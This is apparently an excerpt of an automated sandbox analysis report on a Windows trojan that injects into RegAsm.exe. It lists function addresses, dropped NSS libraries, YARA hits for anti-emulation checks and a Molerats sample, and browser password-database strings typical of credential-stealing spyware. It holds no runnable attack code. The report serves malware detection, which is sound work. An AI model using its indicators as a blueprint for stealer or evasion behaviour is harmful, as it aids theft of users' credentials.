Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA55F30	29_2_6CA55F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CBB7F20	29_2_6CBB7F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA66F10	29_2_6CA66F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CACEF40	29_2_6CACEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA6D8E0	29_2_6CA6D8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA938E0	29_2_6CA938E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CBBB8F0	29_2_6CBBB8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAFF8C0	29_2_6CAFF8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAB0820	29_2_6CAB0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAEA820	29_2_6CAEA820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CABD810	29_2_6CABD810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB34840	29_2_6CB34840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB209B0	29_2_6CB209B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAF09A0	29_2_6CAF09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB1A9A0	29_2_6CB1A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB31990	29_2_6CB31990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA71980	29_2_6CA71980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB7C9E0	29_2_6CB7C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA949F0	29_2_6CA949F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAC59F0	29_2_6CAC59F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAF79F0	29_2_6CAF79F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAF99C0	29_2_6CAF99C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA999D0	29_2_6CA999D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB15920	29_2_6CB15920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA98960	29_2_6CA98960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CADF960	29_2_6CADF960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB1D960	29_2_6CB1D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA5E950	29_2_6CA5E950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA68AA0	29_2_6CA68AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CADEA80	29_2_6CADEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA61AE0	29_2_6CA61AE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB18A30	29_2_6CB18A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB01A10	29_2_6CB01A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB0EA00	29_2_6CB0EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA9FA10	29_2_6CA9FA10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CADCA70	29_2_6CADCA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAB9BA0	29_2_6CAB9BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB00BA0	29_2_6CB00BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAA7BF0	29_2_6CAA7BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAABB20	29_2_6CAABB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA51B70	29_2_6CA51B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB8A480	29_2_6CB8A480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA614E0	29_2_6CA614E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAA64D0	29_2_6CAA64D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAFA4D0	29_2_6CAFA4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAC4420	29_2_6CAC4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAEA430	29_2_6CAEA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAED410	29_2_6CAED410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA78460	29_2_6CA78460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA545B0	29_2_6CA545B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA99590	29_2_6CA99590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB2A5E0	29_2_6CB2A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAEE5F0	29_2_6CAEE5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAE55F0	29_2_6CAE55F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CBAF510	29_2_6CBAF510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAC7500	29_2_6CAC7500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA75510	29_2_6CA75510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB00570	29_2_6CB00570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAC2560	29_2_6CAC2560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CBA8550	29_2_6CBA8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAB8540	29_2_6CAB8540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA916A0	29_2_6CA916A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAC96A0	29_2_6CAC96A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CABE6E0	29_2_6CABE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAFE6E0	29_2_6CAFE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA846D0	29_2_6CA846D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA56600	29_2_6CA56600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA89600	29_2_6CA89600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAD7610	29_2_6CAD7610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAB5640	29_2_6CAB5640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA79650	29_2_6CA79650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CABC650	29_2_6CABC650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAEB7A0	29_2_6CAEB7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA57790	29_2_6CA57790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA8A7D0	29_2_6CA8A7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA83720	29_2_6CA83720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAE0700	29_2_6CAE0700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CACD710	29_2_6CACD710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA700B0	29_2_6CA700B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB17090	29_2_6CB17090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA58090	29_2_6CA58090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAAB020	29_2_6CAAB020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB28010	29_2_6CB28010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB2C000	29_2_6CB2C000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAAE070	29_2_6CAAE070

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040AA20 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CBE09D0 appears 158 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CB7CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CB894D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040A310 appears 59 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CD709D0 appears 114 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004020FD appears 287 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CBED930 appears 68 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041A3AC appears 77 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CBEDAE0 appears 77 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 1760

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.1244342672.000000000160E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 29.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 29.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 27.2.userIEHDAFHDHC.exe.38b5570.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 27.2.userIEHDAFHDHC.exe.38b5570.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: Process Memory Space: userIEHDAFHDHC.exe PID: 7444, type: MEMORYSTR	Matched rule: Molerats_Jul17_Sample_5 date = 2017-07-07, hash1 = ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a, author = Florian Roth, description = Detects Molerats sample - July 2017, reference = https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: userFBKFCFBFID.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66cf818156193_ldjfnsfd[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: userIEHDAFHDHC.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66cf75d3791d7_vrewqgq[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DHCGHDHIDH.exe.29.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: HDAFIIDAKJ.exe.29.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@49/63@3/6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6CBA7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6CBA7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

3_2_004190A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 24_2_004365E0 CoCreateInstance,

24_2_004365E0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\ProgramData\HDAFIIDAKJ.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6228:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3168
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4800

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user~1\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.1426203264.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1427642500.000000006CD7F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, sql[1].dll.29.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.1426203264.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1427642500.000000006CD7F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.1426203264.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1427642500.000000006CD7F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.29.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1426203264.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1427642500.000000006CD7F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, sql[1].dll.29.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.1426203264.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.1426203264.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1427642500.000000006CD7F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: HJKKFI.29.dr, IIJJDGHJKKJEBFHJDBGH.3.dr, GIJKKK.29.dr, GDHDAEBGCAAFIDGCGDHI.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.1426203264.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.29.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
